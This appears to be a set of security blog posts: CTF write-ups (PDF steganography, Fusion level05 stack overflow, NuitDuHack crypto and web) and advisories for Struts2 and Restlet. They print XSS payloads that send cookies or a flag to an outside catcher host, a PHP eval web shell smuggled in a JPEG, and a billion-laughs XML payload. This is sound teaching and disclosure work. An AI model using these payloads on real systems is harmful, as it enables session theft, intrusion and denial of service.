DragonSector PDF Stegano 50

This was the task that most player solved (89). We were given a PDF with a Lorem ipsum text. Using PeePDF from @EternalTodo we can easily analyze the PDF.

The info command shows two suspicious sectors:

But the metadata one shows more interesting stuff:

It seems there may be a morse code hidden in the PDF. Looking around different PFD objects we see something interesting in object 8:

If we treat A's and B's as dots and dashes we get the following texts:

BABA BBB B A BBA ABA AB B AAB ABAA AB B AA BBB BA AAA BBAABB AABA ABAA AB BBA BBBAAA ABBBB BA AAAB ABBBB AAAAA ABBBB BAAA ABAA AAABB BB AAABB AA AAA AAAAA AAAAB BBA AAABB

.-.- ... . - ..- -.- -. . --. -.-- -. . -- ... .- --- ..--.. --.- -.-- -. ..- ...--- -.... .- ---. -.... ----- -.... .--- -.-- ---.. .. ---.. -- --- ----- ----. ..- ---..
?SETUKNEGYNEMSAO?QYNU?6A?606JY8I8MO09U8
-.-. --- - . --. .-. .- - ..- .-.. .- - .. --- -. ... --..-- ..-. .-.. .- --. ---... .---- -. ...- .---- ..... .---- -... .-.. ...-- -- ...-- .. ... ..... ....- --. ...--
COTEGRATULATIONS,FLAG:1NV151BL3M3IS54G3  

There is something wrong with my decoding since CONGRATULATIONS is decoded as COTEGRATULATIONS, but the flag looks ok except for the extra 'I' and 'S' that turned out to be another '5'. So the flag was:

1NV151BL3M3554G3

Struts2 0day in the wild

Remote code execution 0 day in up-to-date Struts 2 applications:

Some months ago Struts2 announced a security vulnerability S2-020 that allowed ClassLoader manipulation and that could be used to get Remote Code Execution on certain application servers like Tomcat 8. The fix for this vulnerability was to forbid the (.*\.|^)class\..* regex from action parameters. However a bypass was made public that basically consists in changing the dot notation for the square bracket notation. So instead of using class.classloader to access the classloader, the bypass used class['classLoader']. I just verified the bypass on my local PoC with latest Struts version (2.3.16.1) and I was able to pop up an evil calc. Also it is possible to bypass the original regex by using Class.classloader (with capital 'C').

Remediation:

While Struts2 releases a fix, please update your excludeParams regex to account for the opening square bracket and capital 'C':

(.*\.|^)(class|Class)(\.|\[).*

Update: After talking with Struts2 security team, they confirmed they are working on the patch and the regex to be released will be:
(.*\.|^|.*|\[('|"))(c|C)lass(\.|('|")]|\[).*

The easiest way is to modify your struts config file and add:

<struts>  
...
...
    <package name="default" namespace="/" extends="struts-default">
        <interceptors>
            <interceptor-stack name="secureParamInterceptor">
                <interceptor-ref name="defaultStack">
                    <param name="params.excludeParams">(.*\.|^|.*|\[('|"))(c|C)lass(\.|('|")]|\[).*,^dojo\..*,^struts\..*,^session\..*,^request\..*,^application\..*,^servlet(Request|Response)\..*,^parameters\..*,^action:.*,^method:.*</param>
                </interceptor-ref>
            </interceptor-stack>
        </interceptors>

        <default-interceptor-ref name="secureParamInterceptor" />
        ...
        ...
    </package>
...
...
</struts>  

Stay secure!

Crowd-Solving Fusion level05

I played with Fusion level05 for a couple of days last Xmas and although I found how to smash the stack, I couldn't find any reliable way of leaking the .text base address to bypass PIE protection so I left it there. Yesterday, a tweet from @Newlog_ got me thinking it could be a good idea to post what I've done so far in case anyone wants to pick it from there and help solving the level. Lets call this crowd-solving :-D

So lets get the ball rolling:

In level05 we are given the following server code:

#include "../common/common.c"

#include <task.h>

#define STACK (4096 * 8)

unsigned int hash(unsigned char *str, int length, unsigned int mask)  
{
  unsigned int h = 0xfee13117;
  int i;

  for(h = 0xfee13117, i = 0; i < length; i++) {
    h ^= str[i];
    h += (h << 11);
    h ^= (h >> 7);
    h -= str[i];
  }
  h += (h << 3);
  h ^= (h >> 10);
  h += (h << 15);
  h -= (h >> 17);

  return (h & mask);
}

void fdprintf(int fd, char *fmt, ...)  
{
  va_list ap;
  char *msg = NULL;

  va_start(ap, fmt);
  vasprintf(&msg, fmt, ap);
  va_end(ap);

  if(msg) {
    fdwrite(fd, msg, strlen(msg));
    free(msg);
  }
}

struct registrations {  
  short int flags;
  in_addr_t ipv4;
} __attribute__((packed));

#define REGDB (128)
struct registrations registrations[REGDB];

static void addreg(void *arg)  
{
  char *name, *sflags, *ipv4, *p;
  int h, flags;
  char *line = (char *)(arg);

  name = line;
  p = strchr(line, ' ');
  if(! p) goto bail;
  *p++ = 0;
  sflags = p;
  p = strchr(p, ' ');
  if(! p) goto bail;
  *p++ = 0;
  ipv4 = p;

  flags = atoi(sflags);
  if(flags & ~0xe0) goto bail;

  h = hash(name, strlen(name), REGDB-1);
  registrations[h].flags = flags;
   registrations[h].ipv4 = inet_addr(ipv4);

  printf("registration added successfully\n");

bail:  
  free(line);
}

static void senddb(void *arg)  
{
  unsigned char buffer[512], *p;
  char *host, *l;
  char *line = (char *)(arg);
  int port;
  int fd;
  int i;
  int sz;

  p = buffer;
  sz = sizeof(buffer);
  host = line;
  l = strchr(line, ' ');
  if(! l) goto bail;
  *l++ = 0;
  port = atoi(l);
  if(port == 0) goto bail;

  printf("sending db\n");

  if((fd = netdial(UDP, host, port)) < 0) goto bail;

  for(sz = 0, p = buffer, i = 0; i < REGDB; i++) {
    if(registrations[i].flags | registrations[i].ipv4) {
      memcpy(p, &registrations[i], sizeof(struct registrations));
      p += sizeof(struct registrations);
      sz += sizeof(struct registrations);
    }
  }
bail:  
  fdwrite(fd, buffer, sz);
  close(fd);
  free(line);
}

int get_and_hash(int maxsz, char *string, char separator)  
{
  char name[32];
  int i;

  if(maxsz > 32) return 0;

  for(i = 0; i < maxsz, string[i]; i++) {
    if(string[i] == separator) break;
    name[i] = string[i];
  }

  return hash(name, strlen(name), 0x7f);
}


struct isuparg {  
  int fd;
  char *string;
};


static void checkname(void *arg)  
{
  struct isuparg *isa = (struct isuparg *)(arg);
  int h;

  h = get_and_hash(32, isa->string, '@');

  fdprintf(isa->fd, "%s is %sindexed already\n", isa->string, registrations[h].ipv4 ? "" : "not ");

}

static void isup(void *arg)  
{
  unsigned char buffer[512], *p;
  char *host, *l;
  struct isuparg *isa = (struct isuparg *)(arg);
  int port;
  int fd;
  int i;
  int sz;

  // skip over first arg, get port
  l = strchr(isa->string, ' ');
  if(! l) return;
  *l++ = 0;

  port = atoi(l);
  host = malloc(64);

  for(i = 0; i < 128; i++) {
    p = (unsigned char *)(& registrations[i]);
    if(! registrations[i].ipv4) continue;

    sprintf(host, "%d.%d.%d.%d",
      (registrations[i].ipv4 >> 0) & 0xff,
      (registrations[i].ipv4 >> 8) & 0xff,
      (registrations[i].ipv4 >> 16) & 0xff,
      (registrations[i].ipv4 >> 24) & 0xff);

    if((fd = netdial(UDP, host, port)) < 0) {
      continue;
    }

    buffer[0] = 0xc0;
    memcpy(buffer + 1, p, sizeof(struct registrations));
    buffer[5] = buffer[6] = buffer[7] = 0;

    fdwrite(fd, buffer, 8);

    close(fd);
  }

  free(host);
}

static void childtask(void *arg)  
{
  int cfd = (int)(arg);
  char buffer[512], *n;
  int r;


  n = "** welcome to level05 **\n";

  if(fdwrite(cfd, n, strlen(n)) < 0) goto bail;

  while(1) {
    if((r = fdread(cfd, buffer, 512)) <= 0) goto bail;

    n = strchr(buffer, '\r');
    if(n) *n = 0;
    n = strchr(buffer, '\n');
    if(n) *n = 0;

    if(strncmp(buffer, "addreg ", 7) == 0) {
      taskcreate(addreg, strdup(buffer + 7), STACK);
      continue;
    }

    if(strncmp(buffer, "senddb ", 7) == 0) {
      taskcreate(senddb, strdup(buffer + 7), STACK);
      continue;
    }

    if(strncmp(buffer, "checkname ", 10) == 0) {
      struct isuparg *isa = calloc(sizeof(struct isuparg), 1);

      isa->fd = cfd;
      isa->string = strdup(buffer + 10);

      taskcreate(checkname, isa, STACK);
      continue;
    }

    if(strncmp(buffer, "quit", 4) == 0) {
      break;
    }

    if(strncmp(buffer, "isup ", 5) == 0) {
      struct isuparg *isa = calloc(sizeof(struct isuparg), 1);
      isa->fd = cfd;
      isa->string = strdup(buffer + 5);
      taskcreate(isup, isa, STACK);
    }
  }

bail:  
  close(cfd);
}

void taskmain(int argc, char **argv)  
{
  int fd, cfd;
  char remote[16];
  int rport;

  signal(SIGPIPE, SIG_IGN);
  background_process(NAME, UID, GID);

  if((fd = netannounce(TCP, 0, PORT)) < 0) {
    fprintf(stderr, "failure on port %d: %s\n", PORT, strerror(errno));
    taskexitall(1);
  }

  fdnoblock(fd);

  while((cfd = netaccept(fd, remote, &rport)) >= 0) {
    fprintf(stderr, "accepted connection from %s:%d\n", remote, rport);
    taskcreate(childtask, (void *)(cfd), STACK);
  }



}

The server takes different commands as input:

  • addreg [name] [flags] [ip]: Register an IP with a given flags (32,96 or 224) and store it in an array with an index provided by a custom hash function of the given name
  • senddb [ip] [port]: Sends all the registered IPs to the given ip and port using UDP
  • isup [skipped] [port]: Loop through all the ips registered and for those with a valid ip, it sends the details to that ip and the provided port
  • checkname [name]: Calculate the custom hash of the given name and checks if the registration array contains a valid ip for that hash
  • quit: Exit

There are a couple of overflows that we can abuse:

The first one is on get_and_hash "for" loop:

for(i = 0; i < maxsz, string[i]; i++) {  
  if(string[i] == separator) break;
   name[i] = string[i];
}

The loop wont stop at maxsz allowing writing beyond the limits of the "name" buffer (32). We can quickly verify this using metasploit to find the right overflow offet:

fusion@fusion:~$ /opt/metasploit-framework/tools/pattern_create.rb 64  
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A  
fusion@fusion:~$ nc localhost 20005  
** welcome to level05 **
checkname Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A  

Monitoring the process with gdb we get:

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.  
0x35624134 in ?? ()  

That corresponds to offset 44:

fusion@fusion:~$ /opt/metasploit-framework/tools/pattern_offset.rb 35624134  
44  

This allows us to write beyond "name" buffer limits and into the stored base pointer and instruction pointer. Actually looks like a nice place to place our payload:

(gdb) x/100wx $esp
0xb940cc6c:    0x44444444  0x42424242  0x42424242  0x42424242  
0xb940cc7c:    0x42424242  0x42424242  0x42424242  0x42424242  
0xb940cc8c:    0x42424242  0x42424242  0x42424242  0x42424242  
0xb940cc9c:    0x42424242  0x42424242  0x42424242  0x42424242  
0xb940ccac:    0x42424242  0x42424242  0x42424242  0x42424242  
0xb940ccbc:    0x42424242  0x42424242  0x42424242  0x42424242  
0xb940cccc:    0x42424242  0x42424242  0x42424242  0x42424242  
0xb940ccdc:    0x42424242  0x42424242  0x42424242  0x42424242  
0xb940ccec:    0x42424242  0x42424242  0x42424242  0x42424242  
0xb940ccfc:    0x42424242  0x42424242  0x42424242  0x42424242  
0xb940cd0c:    0x42424242  0x42424242  0x42424242  0x42424242  
0xb940cd1c:    0x42424242  0x42424242  0x42424242  0x42424242  
0xb940cd2c:    0x42424242  0x42424242  0x42424242  0x00000000  

There is another overflow that we cannot exploit since there is a call to free(line) before returning from the function that crash the application. This one is in the senddb function:

unsigned char buffer[512], *p;  
..
..
for(sz = 0, p = buffer, i = 0; i < REGDB; i++) {  
  if(registrations[i].flags | registrations[i].ipv4) {
    memcpy(p, &registrations[i], sizeof(struct registrations));
    p += sizeof(struct registrations);
    sz += sizeof(struct registrations);
  }
}
bail:  
  fdwrite(fd, buffer, sz);
  close(fd);
  free(line);

buffer is 512 bytes long but we can overwrite it with 128 (REGDB) registrations which are 6 bytes long each. So with 85 of them we can overwrite the destination buffer. The problem is that line will also be affected and the call to free(line) will segfault before getting to ret

This was one of the first vectors I tried to use to leak the binary base address since we can overwrite some registers before crashing that could leak the base address plus a fixed offset. However there is no difference in the application behaviour that we can use to know if we overwrote those register bytes with the right values or not (as we did for level04)

Anyway if someone wants to give it a try they will first need to set up a listener for the info coming from the senddb fdwrite function. I wrote this listener that works on port 6666/UDP and that works for senddb and isup commands:

#!/usr/bin/python

from socket import *  
from struct import *

s = socket(AF_INET, SOCK_DGRAM)  
s.bind(('0.0.0.0', 6666))  
while True:  
    data =  s.recv(1024)
    print("[+] Received UDP packet with length {0}: {1}".format(len(data), data.encode("hex")))
    if data[:1].encode("hex") == "c0":
        print("[+] Received ISUP packet {0}".format(data.encode("hex")))
        print("[+]   Control char: " + data[:1].encode("hex"))
        flags = unpack("<H", data[1:3])[0]
        print("[+]   Flags: {0}".format(int(flags),16))
        # Not printing the ip since we miss a byte and since it will always be our own ip otherwise we could not receive it
        #reg = unpack("<I", data[3:7])[0]
        #print("[+]   3 bytes from address: {0}".format(reg))
    else:
        i = 0
        print("[+] Received SENDDB packet with {0} registrations".format(len(data)/6))
        while i < len(data):
                reg = data[i:i+6]
                print("[+] Received SENDDB packet {0}".format(reg.encode("hex")))
                flags = unpack("<H", reg[0:2])[0]
                print("[+]   Flags: {0}".format(int(flags),16))
                host = unpack("<I", reg[2:6])[0]
                print("[+]   Host ({2}) IP: {0} ({1})".format(inet_ntoa(reg[2:6]),reg[2:6].encode("hex"),(i+6)/6))
                i += 6

Using this listener and the following bruteforce client script, we can find which names generate the right hashes to overwrite ebp, ebx, eip ...

#!/usr/bin/python

from socket import *  
from struct import *

s = socket(AF_INET, SOCK_STREAM)  
s.connect(("localhost", 20005))  
for i in xrange(139):  
        if i == 84:
                # EBP
                payload = "addreg {0} 32 {1}\n".format(i,inet_ntoa("\x44\x44\x44\x44"))
        elif i == 50:
                # EBX
                payload = "addreg {0} 32 {1}\n".format(i,inet_ntoa("\x41\x41\x41\x41"))
        else:
                payload = "addreg {0} 32 127.0.0.{0}\n".format(i)
        s.send(payload)
s.send("senddb 127.0.0.1 6666\n")  
s.close()  

Running the script will get us the following packets in our listener:

fusion@fusion:~$ python fusion05-senddb.py  
..
..
[+]   Host (86) IP: 127.0.0.70 (7f000046)
[+]   Host (87) IP: 127.0.0.69 (7f000045)
[+]   Host (88) IP: 127.0.0.137 (7f000089)
[+]   Host (89) IP: 65.65.65.65 (41414141)
[+]   Host (90) IP: 127.0.0.87 (7f000057)
[+]   Host (91) IP: 68.68.68.68 (44444444)

It turns out that we need 139 different "names" to produce 91 unique hashes that are the ones required to overflow the buffer (not 85 as we calculated)
The problem is that the 91 registration also overwrites the argument to free(line) as shown in GDB right before calling free()

In the first overflow (the get_and_hash() one), we overwrite esi and edi which change on every request before overwriting ebp and eip. Overwriting ebp byte a byte can leak the binary load offset but in order to do so we have to overwrite esi with an address with write permissions (since "checkname" contains the following instruction after leaving get_and_hash: <checkname+107>: mov (%esi),%eax) and even guessing a good one, overwriting ebp does not change the server behaviour to make educated guesses about the right ebp value. So this looks like a dead end for my newbie skills.

So here I am stucked, any ideas?

NuitDuHack 2014 Crypto Write Ups

Carbonara

We are given the following ciphertext:

%96 7=28 7@C E9:D 492= :D iQx>A6C2E@C xF=:FD r26D2C s:GFDQ]

A simple shift shows interesting results:

ciphertext = "%96 7=28 7@C E9:D 492= :D iQx>A6C2E@C xF=:FD r26D2C s:GFDQ]"  
size = len(ciphertext)  
for i in range(0,100):  
    result=""
    for c in ciphertext:
        if ord(c) > 126 or ord(c) < 33:
            result += c
        else:
            first = ord(c)+i
            if first > 90:
                first = 64 + (first - 90)
            result += chr(first)
    print(result)

Here is were the history classes prove valuable, flag is:

Imperator Iulius Caesar Divus

Worthless

We are given a bunch of 0's and 1's.

00010111000001110001010001100011 00001001000111010000001000001000 01110001000001010000000000000011  
01100011000110110001100100001010 00011100011100010000000000000111 00010000000011110110111100011000  
00010000011011110001011100001111 00000000000100100000000000000110 00011111000000100001101000010010  
00001010000000010001100000001011 00000110000111010000101000011111 00011000000011110000011000010111  
00001010000011000001000000010111 00000110000111100000110101100001  

If we group them by bytes we get a 56 length binary. Our favorite xor key guessing tool: xortool by Hellman shows that a key of length 3n is possible. However it fails decrypting the message with " " (supposing it is a text) as the most frequent char. That is normal in such short texts. The idea to solve it is to pass all characters as most frequent chars for the analysis and then grep the results for words you may be expecting such "flag".

from xortool.xortool import process  
import os

def search(text):  
    rootdir = './xortool_out'
    for subdir, dirs, files in os.walk(rootdir):
        for file in files:
            if ".out" in file:
                f = open(os.path.join(subdir,file),'r')
                contents = f.read()
                if text in contents:
                    print "\"%s\" found at %s: %s" % (text, os.path.join(subdir,file), contents,)

original = "0001011100000111000101000110001100001001000111010000001000001000011100010000010100000000000000110110001100011011000110010000101000011100011100010000000000000111000100000000111101101111000110000001000001101111000101110000111100000000000100100000000000000110000111110000001000011010000100100000101000000001000110000000101100000110000111010000101000011111000110000000111100000110000101110000101000001100000100000001011100000110000111100000110101100001"  
bytes = []  
for i in range(0,len(original),8):  
    test = hex(int(original[i:i+8], 2))
    bytes.append(test[2:].zfill(2))
ciphertext = ''.join(bytes).decode('hex')


# try lower letters as most frequest chars
process(ciphertext, [i for i in range(97,122)])  
search("lag")

# try upper letters as most frequest chars
process(ciphertext, [i for i in range(65,90)])  
search("LAG")  

The result of running the script:

Voila!

NuitDuHack 2014 Web Write Ups

Web 100: Abitol

This is a simple web app where you can register and login to see an articles page, a photo gallery, a flag page and an admin contact page.

Visiting the flag page give us a Nice try, did you really think it would be that easy? ;) but the photo gallery is vulnerable to XSS:

http://abitbol.nuitduhack.com/zoom.php?image=1%3E%3Cscript%3Ealert%281%29%3C/script%3E

Now, we dont know how the admin contact will be visualized in the viewer page, but we can try to send him a message with an iframe pointing to the vulnerable page so we can send his session ID to our cookie catcher or use XHR to request the flag.php page and send us the flag. Both options work, but the second is slighlty better since the time frame where the session ID is valid is very narrow:

<iframe src="http://abitbol.nuitduhack.com/zoom.php?image=1.jpg><script>flag = new XMLHttpRequest(); flag.open('GET','/flag.php',false); flag.send(); flag.open('GET','http://ctf.pwntester.com/catcher.php?data='+flag.response); flag.send();</script>" />  
<iframe src="http://abitbol.nuitduhack.com/zoom.php?image=1.jpg><script>document.location="http://ctf.pwntest.com/catcher.php?data="+document.cookie</script>" />  

After waiting a few minutes, the flag is waiting for us in the catcher:

Web 300: Titanoreine

This is a photo gallery where we can upload any image to the site. That seems the first attack vector, the second one is that it allows you to change the language and the parameter to do that is lang=(eng|fr).php which looks vulnerable to LFI. After some trials, you can include any local file in the root directory by going down three levels. Eg: ../../../upload.php

If we include the default images in the gallery system, we can see that only 2.jpg is included as binary garbage in the page:

However if we download the original image and upload it again with a different name, the new image cannot be included and the LFI just show an empty page. So there seems to be some kind of conversion going on. Comparing the EXIF data of the original and converted ones, we can see that is being compressed by gd library with quality 98:

We will compress it locally so that it does not suffer any conversion in the server (actually the server still changes the image, but probability of screwing up the php code are smaller):

$image = imagecreatefromjpeg('avatar.jpg');
imagejpeg($image,'avatar_lq.jpg',98);  

Uploading the new compressed image to the site and including it via the LFI works now. All we have to do now is include a PHP shell. It turns out that many PHP commands seems to be forbidden by the server so we ended up using eval: <?php eval($_GET['a']); ?>

Update: During the CTF, we were lucky to find another team JPG so that we could slightly modufy it and use it. Modifying a JPG so that the changes survide a GD compression is not an easy task, but will try to explain in a following post.

With that in place we can start sending commands to the server. First we can exfiltrate the code using highlight_file():

index.php

functions.php

upload.php

In order to get the flag, I used a directoryIterator since many other options were cut off:

$it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator('./'));while($it->valid()){echo $it->getSubPathName()."</br>";$it->next();}

The flag is hidden in the unsuspicious file:

Voila!

Thanks to in3pids, @SaxX and the organization for such a fun CTF!

Remote code execution and XML Entity Expansion injection vulnerabilities in the Restlet framework

This blog was published in the HP Security research blog but publishing it here for greater dissemination:

Advisory overview

Restlet is a lightweight Java framework for building RESTful APIs. It comes in different flavors (Java SE, Java EE, Android, Google Web Toolkit and Google App Engine) and is composed of a core API and different extensions that provide additional functionality.

While adding support for the Restlet API to HP Fortify SCA, the Software Security Research group discovered that the XStream extension prior to 2.2 RC3 is susceptible to Remote Code Execution (RCE) via unsafe deserialization of XML messages. Also, versions prior to 2.1.7 and 2.2 RC1 contain APIs susceptible to XML Entity Expansion (XEE) injection, including the default extension to handle XML messages (JAXB).

 Remote code execution via unsafe XStream deserialization

RESTful APIs normally deal with JSON or XML Messages. If the latter is used, a broad set of XML data binding options are available for the developer to choose from; JAXB, JiBX and XStream amongst others. XStream is unique because it allows more than simple Java POJOs to be serialized. In particular, it allows the serialization of Java Dynamic Proxies. If the application is configured to use the XStream extension to handle XML messages, an attacker can easily abuse it by sending specially crafted XML messages that use Dynamic Proxy serialization to execute arbitrary code on the server side. HP SSR previously identified a similar vulnerability in the core XStream library and the frameworks using it (such as SpringMVC, for example).

Details

A dynamic proxy can intercept calls to any method declared in the interface it implements.

Dynamic proxy deserialization allows an attacker to send a serialized object that invokes dynamic proxy methods during its initialization, the simplest case being a java.util.SortedSet that includes a regular object like a String and an object that proxifies the java.lang.Comparable interface. During the deserialization of the SortedSet, the “compare” method of each object in the set is invoked in order to sort the set and the proxified object will replace the original call to “compare” with the attacker’s custom payload.

When the Restlet controller receives a malicious XML payload, it attempts to de-serialize it using XStream, effectively executing the malicious payload. Since the application would not normally be expecting a SortedSet, it throws an exception as soon as the SortedSet is cast to the expected type but the payload has already executed.

Mitigation

If your application relies on the use of XStream, make sure it uses at least Restlet 2.2 RC3 where a whitelist feature has been added to prevent the deserialization of unexpected objects.

 XML Entity Expansion (XEE) injection

The core API uses JAXB to unmarshall XML messages on both client and server code by default. Restlet failed to disable local entity resolution, enabling attackers to run XEE (XML Entity Expansion) attacks -- attackers could perform Denial of Service (DOS) attacks on Restlet-based web services.

This is not the first time we’ve found this type of problem in RESTful frameworks. Last August we found that all SpringMVC/JAXB-based web services were vulnerable to XXE (XML External Entity) attacks as described in CVE-2013-4152 (details published by the SpringMVC team).

If you are not familiar with these types of vulnerabilities, you can learn how XXE and XEE attacks work in our XML Entity based attacks post.

In this case, Restlet APIs were correctly configured to disable external entity resolution by default and were not vulnerable to XXE attacks. However, Doctype blocks (DTD) processing and local entity resolution were allowed and, more importantly, could not be disabled by any configuration property, making all the Restlet-based web services consuming XML messages vulnerable to this attack.

Details

The following snippet describes a simplified Restlet Server Resource consuming XML messages sent by clients to create Contacts:

import org.restlet.resource.Post;  
import org.restlet.resource.ServerResource;  
import org.restlet.ext.xml.XmlRepresentation;

public class XMLResource extends ServerResource {  
    @Post("xml")
    public Contact createContact(Contact c) {
        System.out.println("Contact received: " + c.getName());
        return c;
    }
}

Since Restlet versions prior to version 2.1.7 and 2.2 RC1 do not disable local entity resolution, an attacker could send a contact like this:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>  
<!DOCTYPE root [  
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<contact>  
    <name>&lol9;</name>
    <lastName>test</lastName>
</contact>  

When processed internally by the Restlet XML processor (that uses JAXB by default) for instantiating a Contact object, the name of the contact unfolds into more than 1 billion “lol” strings - using almost 3GB of memory and crashing the Java Virtual Machine (JVM) on the server. This attack is also known as the Billion laughs attack.

The Restlet components affected by this vulnerability are:

  • "xml" extension,
  • "atom", "javamail", "lucene", "odata", "openid", "rdf", "wadl", "xdb" that directly depends on the "xml" extension.
  • "jackson", "jaxb", "jibx", "xstream", "rome" that provides automatic converters.

 Mitigation

Update to Restlet versions 2.1.7, 2.2 RC1 and above that disable local entity resolution by default.

More technical details can be found in the Restlet technical note.

 CVEs